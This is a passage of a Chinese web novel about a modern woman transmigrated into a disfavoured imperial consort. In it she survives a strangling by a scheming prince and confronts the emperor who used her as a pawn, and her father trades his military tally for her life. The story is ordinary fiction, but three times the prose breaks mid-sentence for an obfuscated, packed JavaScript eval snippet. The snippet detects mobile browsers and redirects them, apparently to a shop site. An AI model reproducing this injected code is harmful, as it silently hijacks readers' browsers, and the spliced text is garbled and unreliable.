听见夏星辰嘀嘀咕咕地嘟囔着;林贤侧过头看了她一眼,他不知道她在嘀咕什么,就以为她是在因为尧让的话而感到不开心。 “娘娘,您知道吗?陛下的龙辇和龙轿都只有您一个妃子坐过呢。奴才从小就跟在陛下身边,当然,那时候陛下还是皇子,虽然陛下看起来望而生畏,但是奴才能看得出来,陛下对娘娘您很好。” “呵呵,林公公,你要不要你看看你自己在说什么,他对我好?你是不知道他有好几次差点杀了我。”本来夏星辰还沉浸在过往的回忆里,莫名被林贤说的这话拉回了思绪。 那狗皇帝对她好?这种事是光想都会令人后怕的存在!反正夏星辰是极少在有关史书记载中阅读过皇帝极其宠爱一个妃子的,即便是有,那也是寥寥无几,几乎接近于零。 当然,除了个别“烽火戏诸侯”的君王之外...... “陛下从未对别人示好,毕竟,没有人教过陛下。” 林贤的这句话勾起了夏星辰的好奇心;她小声地问道:“当今太后不是陛下生母吗?天底下哪有母亲不亲自教导自己小孩?” 或许是因为这个话题太过于敏感,林贤清了一下嗓子,看了看四周无人后,便小声地说道:“陛下虽然是太后所生,但太后更偏爱于显王殿下,所以,陛下几乎是先皇后带大的,只可惜,先皇后身子骨弱,因为一场来势汹汹的急病,所以很早便逝世了;自那时起,陛下就变得越发不爱说话了。” 随后,林贤便又将前些日子在暖阁发生的事情说给夏星辰听。这一刻,她才明白当时尧让为什么会说那些话了,原来,是真的有母亲不爱自己的小孩,即便成为了万人之上的天子,也得不到那一丝的怜爱,而同样是十月怀胎亲生的,却还是独独把所有的爱都给了那个自己偏爱的小孩,那个不被爱的小孩,心里的荒地从未开过一朵花。 将夏星辰送到寝宫门口,林贤躬身笑了笑道:“一直都没有机会向娘娘道谢,那日若不是娘娘在陛下面前替奴才求情,怕是奴才和当时守值的御林军都要受重罚。”他的语气里都是满满的感激。 “小事小事,而且我这双手也还在,这样一想,突然觉得尧让这狗皇帝也算好了,至少对我身体没造成实质性的伤害。”夏星辰幸灾乐祸地笑出了声。 狗皇帝?林贤一脸不可思议地看着夏星辰,这三个字怕是只有她敢说出口了。 看着夏星辰走进寝宫的背影,林贤当真是看不到一丝以往嚣张跋扈的痕迹......只当是她真的是因为摔了那一跤,整个人都往好的方向变化了。 这几日,雪一直在下;对于自小就喜欢雪的夏星辰总要坐在寝宫门口看看雪景,短短几日的时间,寝宫门口便被她堆起了几个小雪人了。 “娘娘,外面天儿冷,您进屋烤烤火吧。”小莲撑着一把伞朝着她走了过来。 “冷倒也不是很冷。放心,我穿得挺多,你还别说,这宫里的衣服的确是暖和。” “说到这个,奴婢想起了一件事,娘娘您上次披着陛下的斗篷回宫,陛下的斗篷还在寝宫内呢。” 夏星辰不以为然地笑着说道:“管他呢,他身为皇帝,肯定不缺这一件斗篷,你快看看我堆的雪人,漂不漂亮?” 小莲看着眼前这一排可以用“丑陋”来形容的雪人,但她看着夏星辰一脸等着夸赞的表情,还是阿谀奉承地说道:“漂......漂亮,娘娘做的最漂亮了。” “是吧,我也觉得。”显然,夏星辰没听出小莲话中的真实意思,反而一脸沉醉在自己佳作中。 “娘娘,方才太后差人传话,让您过去一下。”另外一位婢女走上前,躬身对夏星辰说道。 “太后让我过去做什么?不会是上次我没跪满三个时辰,她找我过去继续跪着?”夏星辰把原因猜了个遍,但也只是自己的猜测。 一想到上次宫宴夏星辰又被罚跪,小莲便担心地说道:“娘娘,不然去找陛下吧?” 夏星辰摇了摇头,无奈道:“我们有什么理由去找陛下?他也不见得会因为我一个小小的妃子而损了太后的面子,再说了,他日理万机的,这种小事都要去找他,就显得我矫情了,大不了我再跪三个时辰吧。” 说完,夏星辰便一脸沮丧,这安生日子还没过几天呢,就一直被这俩皇家人折磨得她快精神崩溃。 本来想着装病躲过,但她明白一个道理,躲得过初一,躲不过十五! 小莲随着夏星辰来到甘宁宫外,在等待候传时,小莲忽的凑到她耳边小声地说道:“娘娘,奴婢方才看到显王殿下了。” 夏星辰想到了前几日鸳鸯浴时尧让被暗杀的事情,此时她猜测自己可能要因为那件事情而被殃及,虽然没有证据表明暗杀是尧显主使的,但那个人是谁,尧让都心里有数。 而此刻,夏星辰自然也心里有数。 “小莲,你现在立刻去找陛下,就跟陛下说暗杀之事可能有着落了,快去。” 小莲点点头:“好,那娘娘您当心点。” “明妃娘娘,太后有请。”太后身边的嬷嬷边说边做了一个标准的请进手势。 夏星辰看了一眼甘宁宫里面,她鼓足勇气走了进去,她刚踏入进去,门就被外面的贴身嬷嬷关上了。 完蛋了!中计了! “清夕,是我!” 夏星辰侧过头往一旁发出声音的地方看去,从黑暗中走出来的正是尧显。 “显王殿下?这不是太后的寝宫吗?你怎么会在此?” “清夕,你我怎如此生分?”他边说着边伸出手想抱住夏星辰。 夏星辰紧紧地盯着他的手,神情严肃地说道:“这里可是皇宫!尧显,你今日敢碰我,你一定会后悔,不信,你可以试试。” 尧显以为这又是原主苏清夕那欲擒故纵的把戏,毕竟,苏清夕这样摆架子又不是第一次了,觉得自己是名门将后之人,总摆出一副高高在上的模样,可她越是这样,越使得他越发地厌恶她。 “我知道你还在生气,清夕,我也是有苦衷的啊,你被打入冷宫的那段时间,我一直想寻机会去看你,但是,陛下一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582643|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷偷派人藏在暗处盯着我,我实在是抽不开身,你一定能明白我的身不由己,对吧?”尧显知道这种话一定能哄好苏清夕,她一直最吃这套,只要卖卖惨,她便能一次又一次地原谅他,屡试不爽。 但,他大错特错!眼前的人可不是他记忆中的苏清夕,而是一个现代人夏星辰的灵魂! 夏星辰看着眼前这个满嘴谎言的尧显,真令她感到恶心,也真的是替原主苏清夕感到不值。怪不得尧让会说那番话,为了这种人自甘堕落做一个内宅女子,当真是眼盲心瞎。 于是,她决定替原主苏清夕问个明白。 “尧显,你心悦过我吗?” 尧显笑了笑。果然,他没看错她,她就是一如既往地喜欢问这种愚蠢的问题,也一如既往地相信他的话。 “当然,只要我能登帝,你就是我唯一的皇后。” “既然如此,为何你不带我离开皇宫?当皇帝真就这么重要?” 尧显脸上扬起的笑意瞬间暗淡,直至消失:“清夕,你这是怎么了?以往你不会说出这么愚蠢的话。” 听到他这般说辞,夏星辰自觉好笑无比;死渣男就是死渣男,嘴上说着漂亮话,实际上什么都舍不得给。怕你开口要,又怕你要得多...... 既得利益者就是沉默的施暴者!而这种人往往是不会让自己的手沾满鲜血的。 夏星辰很不明白,原主苏清夕出身尊贵,怎么就看不清眼前人的虚伪和利用?若真的等他当上皇帝,皇后这位置是不是她都还是个未知数呢。 “空手套白狼”的手段还真是被尧显玩得极好! “没怎么,我只是害怕丢了性命。毕竟陛下已经怀疑我了,他对我起杀心了!” “什么?”尧显睁大眼睛,声音比往常高了几分,带着难以置信的颤音:“不可能啊,他那日还说要立你为后的。” 夏星辰嘴角上扬,眼底藏着几分了然的笑意,就连眉梢都染上了一丝“鱼儿已经上钩”的得意:“你怎么知道的?” “清夕,我怎么知道的不重要,眼下要紧的是对策;我已经想到了一个法子,那便是你抓紧怀上子嗣。无论这孩子是谁的,只要你怀上了,到时候就一口咬定是龙种。”最后这几个字几乎是从齿缝里挤出来的,带着扭曲的期待:“只要坐实了这胎,我们的孩子......便是未来的太子。” 他竟真的以为这拙劣的伎俩能瞒天过海?看着尧显那副胜券在握的模样,她只想仰天大笑,笑他无止尽的贪婪,笑这计划的可笑与荒唐。 尧显之所以会想出这个对策,只是因为那日在水池中尧让对她许下的诺言。他不知道的是,这话是假的,是有意说给他听的!这个法子,只会坐实他便是那个幕后黑手...... 夏星辰真是有点怀疑尧显这个反派的智商。究竟是谁给他这么大的自信心的? “太子?还真是一个长远的计划!尧显,你当真以为陛下是什么眼盲心瞎的蠢货吗?”她顿了顿,加重了语气,一字一句都带着后怕的颤抖:“你知不知道,此番行为,一旦被陛下发觉,死的就不只是我一人,而是整个将军府!不仅仅是我爹和我兄长会因此丧命,我苏家祖辈积攒下来的赫赫功绩都会付诸东流......到那时,我苏家便会沦为整个京都的笑柄,永世不得翻身!”她死死地盯着他,最后那句话带着绝望的悲愤。 夏星辰说出口的这番话,没有让尧显觉得心里有愧,而是觉得她变化太大了,变得聪明了许多。加上近日过大的变化,更加让他怀疑,苏清夕被尧让策反了! “苏清夕,你变了!以前的你不会这般同我讲话!”他的眼神翻涌着怨毒,似乎是想从她脸上看出些什么,语气里带着猜疑的冷意:“我知道了,你是不是早就投靠了尧让?你想看着我死,对不对?” “你要不要听听你在说什么?”夏星辰冷笑出声:“我哪里变了?合着我不愿意赌上一切去帮你,就是我变了?你做人是不是也太双标了?” 14.自古皇家最无情 “苏清夕!” “我听得到,你不用这么大声音跟我说话,我没聋!” 夏星辰看着眼前这个利用苏清夕、把苏清夕当成棋子的无能之辈,不禁涌起一股想给他一拳的冲动;他这张脸,真是看一次就觉得恶心的存在! 苏清夕也算个奇葩了!为了与他在一起,她放弃了自己喜欢的长枪,为了他,不听父亲和兄长的劝告,甚至为了他,一次又一次伤害自己,伤害苏家,而自己做的这一切愚蠢的行为,居然是为了当一个内宅女子,当真是笑话! 好言难劝该死的鬼!此时此刻,这句话在原主苏清夕身上体现得淋漓尽致。 苏清夕也许会犯蠢,但在她体内的夏星辰可不会;因为,夏星辰遇到太多“烂人”了。 “苏清夕,是不是尧让许诺你什么了?才让你倒戈相向?你骗得了别人,可骗不了我,将军府满门清誉你若是在乎,你便不是苏清夕!真正的苏清夕是根本不会在乎将军府的荣辱和性命。” “我呸你个王八羔子!”夏星辰没忍住大骂道:“说得好像你对我很是了解似的,我在不在乎将军府关你屁事!你这时候来找我,无非就是因为近日我与陛下走得近了些,若是我还在冷宫,你可还会觉得我有价值?亦或者说,你可会拼上一切救我出去?” “我......” 看着他语塞的模样,夏星辰不屑地笑了出来,顺势给了他一个白眼:“说不上来话了吧,死渣男!答案很明显!你不会拼上一切救一个女子。上岸第一剑斩意中人这个道理我懂!” “苏清夕,你长本事了,你如此不念昔日旧情,是想看着我死!” 她忽然苦笑了出来,眼底只剩一片寒凉的嘲讽:“是你想让我死啊!你就那么想当皇帝啊?你当真以为我不知道吗?若你真的当了皇帝,这皇后之位未必轮得到我,我苏家功高盖主,到头来,只会落得个满门抄斩的下场。这点道理,我也懂!”她往前走一步,带着惋惜和决绝:“罢了,说这些都无用,如今,我已是陛下的明妃娘娘,你我之间早就毫无瓜葛,从今以后,恩断义绝!” 决绝的话一说出口,便引得尧显的不满和愤怒,他紧紧地攥着她的手腕,指节用力得几乎是要捏碎她的骨头:“苏清夕,你以为你会是尧让的皇后?他在骗你!整个皇宫谁不知道,他在极咸宫藏了一个民间女子,那个民间女子跟随他很多年了,她才是他未来的皇后!”他凑近她,语眼神带着鄙夷:“而你,对他来说,只是一颗棋子,一颗能掌控苏家的棋子!他明知道你心悦我,之所以留你性命,不过是因为你爹手中的兵符以及你兄长的风虎军啊,蠢货。” “放开我,你抓疼我了。”夏星辰朝着他大喊,声音因疼痛而颤抖。 尧显不管不顾,像是没听见一般,力道反而加重了几分:“你以为他一旦将那民间女子立为皇后,你还能继续安稳地当你的明妃?即便他不在意,那位民间女子呢?她也不在意你的存在吗?一旦将军府彻底被他掌控,以他残暴多疑的性格,你苏家也一定会满门抄斩。” “历朝历代,哪位帝王能容忍功高盖主的朝臣?太祖如此,父皇如此,我那皇弟亦如此!” “不可能,陛下不会的。”夏星辰虽然没有十足的把握,但是按照这段时间对那狗皇帝的了解,他是残暴多疑,可也不是那种蛮横无理之人;她没记错,广播剧说得清清楚楚,尧让是个明君! 至少,绝对不会是尧显口中的那种人。 “不可能?”尧显像是听到了什么很好笑的话,嗤笑道:“我也一直以为他就是个昏庸之辈,令我没想到的是,这废物竟将皇权握得死死的,着实是让我费了好大的功夫!尚且对亲兄弟都如此,你以为你将军府是什么值得他在意的稀罕宝贝,他在意的只是皇权!” 夏星辰听到这话,内心其实也早有答案。就凭她这些时日与尧让的互相试探之中,她就已经有很清楚的认知——尧让并非是什么昏庸无才之辈。 他在藏拙!在扮猪吃老虎! 眼见夏星辰眼底只剩下冰冷的抗拒,对他的话没有半分动摇之心;杀意瞬间笼罩了下来,他的声音带着狠戾:“苏清夕,既然你选择倒戈相向,那留着你也毫无用处。” 下一刻,他猛地掐住了她的脖颈,力道骤然收紧:“你一个小小的明妃,死了又如何?他根本不会在乎;毕竟他自己也很清楚,那日在汤池说的话,本就有意将你置于险地,他在赌我舍不得杀你,呵呵,他实在是错得离谱,任何人、任何事也不能阻止我!” 看着她因窒息而涨红的脸,他双目赤红,贴着她的耳畔低吼:“我从未真正心悦过你,对你这种自视甚高的将军之女,甚是厌恶!你以为你背叛我就能全身而退吗?进了我的棋局,你就别想着独善其身,兵符也好,你也好,都得是我的!若我无法掌控,那就统统成为死物。” 话音刚落,他的手指猛地收紧;脸上只剩下狰狞的杀意和狠戾,连一丝对往日情分的犹豫都没有,此刻,他心中只剩下一个念头。 那就是让她死,让这个不听话且无法掌控的棋子彻底消失。 力量上的明显差距,让夏星辰拼命反抗的双手在此刻显得并没有什么太大的用处。空气越来越稀缺,很快,夏星辰便彻底昏死了过去。 不知道过了多长时间,她感觉到空气重新涌入到自己的胸腔;缓缓掀开沉重的眼皮,费力地眨了眨眼,意识才慢慢地、一点点地回到自己的身体里。 “醒了!” 夏星辰偏过头,看到尧让正坐在软榻上看着她。 原来,她没死啊! “朕又救了你一命,你是不是该对朕说一声谢谢?”他的声音极轻,眼底闪过了一丝玩味。 看着尧让这张蛊惑人心的脸庞,夏星辰的脑海中便一直环绕着尧显对自己说的话。 的确是她疏忽大意了!能从夺嫡之争之中胜出,能手刃太子的皇帝又怎会心思简单?不过是在躲在暗中等待着狩猎的机会。从冷宫中将自己接出来,一次又一次刁难自己,以及在汤池所行之事,所说之话,这一切都是他在利用她对付尧显。 只是当时,她并没有将这些事情想得过多。现在想想,自己果然是愚蠢、没有脑子! 她一直以为,这狗皇帝只是想策反她,没想到,他只是想看到她和尧显互相撕咬、两败俱伤,如此,他便能坐收渔翁之利! 夏星辰这个头脑简单的现代人低估了皇帝的心狠手辣,也高估了他的良心。 从头到尾,她也只是一颗他棋盘上无足轻重的棋子! 一想到自己一直都在被戏耍,夏星辰便自嘲地笑出了声。 她缓缓坐起身,眼眶通红地瞪着皇帝,泪水在眼底打转却倔强地不肯落下,喉咙里挤出一声带着嘲讽的冷笑:“谢谢?陛下您已经赢了,何必在这里惺惺作态?您说您救我?这从头到尾,不都是您的算计吗?” “苏清夕,你这话说得就不对了,朕救了你,何来算计一说啊?”话落,尧让对着盏中清茶缓缓吹了口气,随即轻抿了一口。 她深吸一口气,脖颈上的掐痕在苍白的皮肤上格外的刺眼,声音带着破罐子破摔的绝望:“别装了!你一次又一次留着我性命,就是想看我和尧显鹬蚌相争,等我们两败俱伤,你便能不费吹灰之力稳坐这个帝位;陛下当真是好手段,好算计!” 尧让将手中的茶盏放置一旁,不屑地说道:“你如此费尽心思讨好朕,朕只是给你一次机会,怎么就成为你口中的手段和算计了?怎么?是朕逼你的?” 这话进入她耳中,她惨然一笑,眼底尽是自嘲:“果然,自古皇家最是无情!最是会说漂亮话!照陛下这么说,还当真是我蠢了,居然还天真地去赌一个皇帝能有半分良心?真是可笑!” 站在尧让身旁的林贤听着夏星辰这番大逆不道的言论,在尧让龙颜大怒之前,他连忙语气严肃开口:“娘娘,谨言慎行!” “谨言慎行?整个天下都是陛下的,陛下若是想要我死,即便我再怎么谨言慎行、费力讨好,我也难逃一死;这皇宫俨然就是一个吃人不吐骨头的鬼地方!”夏星辰发疯似的大吼。 这一桩桩、一件件,已经将她的精神消磨殆尽了;她再不发泄出来,自己就要彻底成为疯子了。 尧让站起身缓步走到她面前,目光扫过她苍白如纸的脸色,眼底没有半分胜者的怜悯,只有冰封般的漠然。他居高临下地开口:“苏清夕,看到你这副痛心疾首的模样,还真是令朕诧异呢!你在朕身边装疯卖傻,夺取朕的信任,所做的种种,难不成真想倒戈相向?你以为朕会信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586938|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的鬼话?” 他微微倾身,盯着她的眼睛,一字一句道:“你知道吗?从你踏入宫闱,蛰伏在朕的身边时,朕每每看你一眼,都想杀了你!朕那日在汤池对你说的话,的确是真的,也的确是念及将军府的功绩,才会大发慈悲留你一命。” “所以,接我出冷宫,让我坐龙辇,以及所谓的鸳鸯浴,全是你的利用!”伴随着夏星辰的开口质问,那倔强不肯落下的泪水在此时也沾湿了脸颊。 她心里不是不知道这些问题的答案,但开口向他确认时,还是抱有着能从他口中得到一丝否定答案的侥幸。 很显然......并没有! “说什么利用不利用的,你倒不如想开些,当朕是在你给机会,一个倒戈相向的机会!毕竟,你的可用价值不高。”说着,尧让不禁笑出了声,笑声里夹杂着些许嘲讽之意。 绝望而又无解的局势令夏星辰越发的想要呕吐,此时,她看着他,心里却萌生出一个大胆的念头;如若真的逃不掉,那便一了百了,说不准,在这里死了,就能回到现代。 这荒谬的想法,是第一次在她脑海中萌生...... 她语气充斥着绝望:“陛下口中所谓的机会,便是一次又一次地令我置身险地;既然如此,陛下何必大费周章,处死一个不受宠的妃子对您来说轻而易举!从始至终,尊贵的皇帝陛下从未信过我,你一次次的机会,每一次都是将我的性命视作蝼蚁,若如此,死是早晚的事!” “苏清夕,没想到在这个时候,朕还能在你身上见到作为将军府之女的傲骨。既然你那么想死,朕怎能不成全你呢。”尧让看向一旁的林贤,冷淡地下达了命令:“带下去,赐毒酒!” 林贤不可置信地看着尧让,为难地开口道:“陛下,这......” “怎么?朕使唤不动你了?” “奴才不敢!” “那还愣着做什么?需要朕说第二遍?”尧让的语气已然极其冷淡。 夏星辰那苍白脸颊上露出的一抹笑意,满含解脱之意:“臣妾多谢陛下成全!” “陛下,苏老将军求见!”殿外的御林军大声禀报。 尧让坐回软榻上;嘴角勾起一抹意味深长的笑容:“苏老将军?这时候面圣,怕是为你而来啊;让他进来吧。” 这声通传,也让左右为难的林贤稍微松了口气! 苏承身着铠甲,步履沉稳地踏入殿中,抱拳单膝跪地,脊背挺得笔直,声音洪亮而恭敬:“老臣见过陛下!” 老将军就是老将军,虽然面带风霜,眼神却极其锐利,一举一动都透露着武将的刚毅与对皇权的敬畏。 抬眼看到苏承的夏星辰,原本心如死灰的模样在这一刻多了一丝错愕与不可置信的神情;脑子里出现的全是那个对她笑意盈盈的现代人。 这是为什么?为什么原主苏清夕的父亲会与她夏星辰的父亲长得一模一样?这张脸她都快因为时间更迭而忘记了,如今这熟悉的模样又再次出现在自己眼前,将那份埋藏已久的思念再次涌上心头。 “苏老将军身披铠甲前来见朕,看来,所求之事不小啊?” 苏承的目光掠过自己脸色苍白的女儿,见她脖颈间隐约的掐痕,心猛地一沉,知晓她定是遭遇了危及性命之事。 他深吸一口气,忽的朝着尧让磕头叩首,声音夹杂着难以掩饰的恳求:“陛下,老臣小女顽劣,行下诸多错事,皆是老臣管教不严之过。” “原来苏老将军这是求情来了!” 他的额头抵着冰冷的金砖,恳求之意未减:“是的,陛下!老臣追随先帝征战多年,不敢言功,但一颗忠心天地可鉴。恳请陛下念在老臣些许功绩与一片赤诚的份上,饶了小女性命吧。” “老将军,宫里的规矩,还用得着朕教你吗?”尧让目光沉凝地看着他,继而开口:“苏清夕现在可不仅仅是你的女儿,还是朕亲封的明妃!殿前失仪已是大过,竟敢口出狂言侮辱皇家体面,哪一条不是死罪啊?” 尧让微倾身子,冷冽的目光始终落在他身上:“难不成,因为老将军你身披这副铠甲,为国立过战功,她的死罪便能一次又一次地一笔勾销?若次次都如此,朕往后如何在朝堂立规矩?朕说的话、定的规矩,岂不是无人信服?” 15.上交兵符留爱女一命 “老臣不敢!陛下,臣绝无以军功相威胁!” “既然没有,那老将军身披铠甲,手持宝剑,所谓何意啊?”此时尧让的脸上已经浮现一丝阴沉。 “陛下明鉴!老臣绝无任何谋逆之意!”苏承依旧叩首着,额头也依旧紧密地抵着金砖。 夏星辰看着苏承脸上的无助,她像是看见了记忆中那个永远都是一副憨厚、一生都在说对不起的老实人。 她有原主苏清夕的这段记忆,苏清夕因为苏承不同意她与尧显在一起,便放下狠话与苏家不再往来;没想到,她说到做到,后来就真的没有回过家一次,就连入宫为妃,苏家也是从旁人口中知晓的。 这么多年,苏清夕唯一对得起的人只有自己。 夏星辰不愿意再看到苏承如此卑微的求人;她强撑着自己依然还虚弱的身体下床,随即便“噗通”一声跪在尧让身前,将自己最后的尊严打碎。 “陛下,是臣妾错了,臣妾本身就烂命一条,造成今日后果,是臣妾该死;苏家一直以来对陛下忠心耿耿,从未有二心,望陛下明鉴!臣妾求陛下莫要将臣妾的过错祸及苏家。” 夏星辰已经是抱了必死的决心,她将自己的话说完后便实实在在地连续磕了几个响头。本来如果没有苏承出现,她便想着刺激狗皇帝,让狗皇帝将她赐死。没想到,苏承却突然出现,再一次以军功换她性命。 “行了!别磕头了,这声音聒噪得很,吵得朕心烦!”尧让的语气中满是不耐烦。 这道命令落下,夏星辰骤然停止磕头的动作,但也没敢抬起头与他对视。 “都抬起头说话!” “陛下,老臣自愿交出兵符,只求此兵符能换老臣爱女一命;小女性情顽劣,不懂宫中规矩,实在是担不起陛下的妻子之位,更配不上这皇家尊荣。老臣愿意即刻带她返回乡下老家,从此闭门管教,再不让她踏入京都半步,恳请陛下成全。” 尧让闻言忽然冷笑出声,笑声里满是身为帝王的威严与不容置喙的怒意:“老将军的口气倒是不小,朕的妃子,岂容她想当就当,不想当就离开?怎么?你们苏家当这皇宫是寻常百姓家,能任由你们来去自由?” 话音刚落,殿内的氛围陷入了一种死寂的宁静之中。 “老臣不敢。”苏承低下头,声音放得极低。 尧让将目光转向一旁跪着的夏星辰,语气稍缓,轻声说道:“罢了,今日,便让明妃随老将军出宫回府叙叙旧吧,但要给朕记住了,朕若有召,必须即刻回来,不得延误。” 苏承喜出望外,连连叩拜:“多谢陛下恩典!” “至于老将军你的兵符,便让朕替你管着吧。” “是!”苏承从腰间将兵符双手呈上。 话刚落,林贤便走到苏承身边,接下了苏承递过来的兵符;随后便将它交给了尧让。 这场交易,被夏星辰看在眼里,心里不禁暗骂狗皇帝!想想也很正常,帝王怎么会让自己做亏本买卖...... “好了,若没什么事,其他人就先退下,朕有些话还要交代明妃,老将军就先在殿外候着吧。” 殿内又只剩下夏星辰和尧让。可经过这件事,夏星辰对他这个狗皇帝再无信任。 “起来吧,别跪着了,看着碍眼。” 夏星辰站起身,阴阳怪气地说道:“是臣妾错了,碍着陛下的眼了。” “不用再那般阴阳怪气了,也不必再利用那些带刺的话来试探或抱怨。”尧让拿起一旁的茶盏,话里有话道:“苏清夕,将军府只有一块兵符,也就意味着你没有保命符了,下次,能救你的会是什么呢?” “臣妾知道陛下想杀了我,陛下是天子,杀人不需要理由。”夏星辰随即磕了一个头:“只求陛下莫要因为臣妾,将邪火发到将军府上,如此,臣妾便感谢圣恩了。” 刚抿了口茶的尧让合上茶盖,冷声道:“听你这话,意指朕是那种无端发难之人?” “臣妾不敢随意议论陛下!” “你有话大胆说,朕应允你,绝不责怪于你。” 闻言,夏星辰抬起头,看向他的眼神中多了一抹坚定:“陛下,您没犯过错吗?” 此话一出,一旁的林贤愣住了,他斗胆开口提醒道:“明妃娘娘,不可胡言!” 对于林贤的善意提醒,夏星辰显然没有听进去。她的视线依然停在尧让身上,轻声说道:“‘欲加之罪何患无辞’。陛下,臣妾对您绝无冒犯之意,只是想说,普天之下,谁没犯过错?可若总盯着一个人的错处不放,任谁都会显得满身缺点、毫无可取之处。” “而陛下您,对臣妾所行所言,不正是带有偏见吗?”最后这句话,夏星辰眼中的坚定之意更甚。 “你这话,还真是有趣极了!合着好坏全是由你说了算。” 尧让对于苏清夕的偏见颇深,夏星辰深知人心底的这种偏见是一时半会无法彻底去除的。再加上苏清夕这奇葩做过的事情,尧让若真是信她,想必早就死几百回了。 “臣妾知道陛下觉得臣妾是在擅辩。但臣妾会向陛下证明的,臣妾绝无谋逆之意!” “行了!”尧让摆了摆手:“退下去吧,朕乏了。” 夏星辰站起身,躬身道:“臣妾告退!” 走到殿外,看到苏承等候多时了;夏星辰刚想要开口说些什么,苏承却摇了摇头,打断了她:“有什么事情回府再说,你兄长今日也要回府,我们一家人好好吃个晚膳。” “好。”夏星辰轻声说道。 “娘娘,娘娘。” 听到声音的夏星辰转过身,看到林贤朝着自己跑过来,便从马车上走了下来。 “林公公,你......你怎么来了?是陛下反悔了?”她下意识地恶意揣测着他的想法。 林贤摇摇头,随即将两个小药瓶塞在夏星辰手里,笑了笑道:“陛下让奴才给您的,你脖颈上的红痕,涂这个药会好得快。” “多谢公公。” “娘娘,也要谢谢陛下,陛下听得到的。”最后这句话,林贤特意加重了语气。 夏星辰也不是傻子,她自然是知道林贤什么意思,她也不是那种扫兴且没有眼力见的人;随即便扯开嗓子朝着极咸宫殿内的尧让大喊道:“多谢陛下!” “百里,你觉得朕错了吗?”尧让看着手中的兵符,对一旁傻站着的百里问道。 百里没有说话,准确来说,他不敢轻易回应。 “说话,朕不会怪你。” “是!属下觉得,陛下您这次做得有点过......过分了。”百里刚说完,走进来的林贤便突然呵斥他。 “百里,你放肆,怎么能对陛下说出如此大逆不道的话?” 尧让抬眼,将目光落在走进来的林贤身上,语气夹带着强烈的寒意:“再让朕听到你嘴里蹦出一个字,朕就把你舌头割了。” 听到此话,林贤瞬间安静了下来。 “你继续。”他示意百里继续说。 “陛下很早便料到显王殿下会因为明妃娘娘的反抗而起杀心,但陛下还是布下了这一步险棋。今日,若不是因为娘娘身边的贴身丫鬟拼死赶来向陛下求救,若是属下再晚到半刻,只怕......娘娘此刻已经没命了。” 话落,百里似乎想起了先前夏星辰的种种表现,眼底掠过一丝复杂:“另外,陛下,属下认为,娘娘如今与往日大不相同,至少在今日之事发生前,她对陛下似乎是真心信任的,即便是为了苟活而故意讨好,实际上也并非是过错。可陛下您......辜负了这份信任。” 百里之所以敢这般对尧让说这些话,纯粹是因为他太了解尧让了;尧让虽是双手沾染鲜血坐上的帝位,但其中更多的是活为了命;况且,尧让从头到尾都不是那种蛮横无理之人,他能主动开口问百里,意味着他自己也觉得自己的所作所为是有点过分了。 但是,身为帝王的他,又不能在夏星辰面前示弱。 “可苏清夕,是一步险棋啊!” “可这颗棋子不重要啊,陛下!无论她是否在棋盘之上,她完全影响不了局势,除非......她已在棋局之中,但显王殿下并非这般擅于布局。” 尧让轻叹了口气,神情严肃道:“苏清夕一直以来都是嚣张跋扈、事事皆显露于人前的蠢货,近些时日的这般变化,究竟是真的还是刻意如此,时间会证明的。” “陛下,苏风逸将军凯旋而归了!”林贤小声地提醒道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591885|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “如此甚好,接下来的便交给苏风逸吧。” 夏星辰和原主苏清夕很不一样,至少性格上的差别是巨大的。她性情开朗活泼,但却极度内耗,而苏清夕嚣张跋扈,自卑这个词语不可能会出现在她的身上。 毕竟,阶级便是一种难以跨越的鸿沟,古代如此,现代更是如此。 发现苏承和夏星辰的父亲长得一模一样,夏星辰就控制不住多看几眼,生怕他又消失了。 “小夕啊,爹爹脸上是有什么东西吗?你怎么一直盯着爹爹看?” 从上马车开始,苏承就发现自己的女儿一直盯着他看,仿佛是在看一件极其稀罕之物。 “爹爹,女儿……好想您。”夏星辰说着说着便落下泪。 “小夕啊,你是不是被吓傻了?”苏承一脸错愕:“你以往可不会这般对爹说这种话的?” 自己女儿做的那些不入流的事情,多多少少还是会传入他耳中......近些时日意外听闻她在冷宫中不知为何重重摔了一跤,就是因为这一跤,整个人都变了! 方才听到的这话,苏承这才反应过来,以往自己那个嚣张跋扈的女儿真的变了! “爹,我没被吓傻!正常着呢。”夏星辰一脸认真。 “小夕啊,你......你莫不是在刻意演给爹爹看的?” 夏星辰顿感无语。不过也没感到奇怪,毕竟,原主苏清夕可是真的对将军府百般嫌弃......但夏星辰不会啊,她一次都没体验过有钱人是什么感觉,无论如何,‘不作就不会死’这个道理,夏星辰还是铭记于心的! 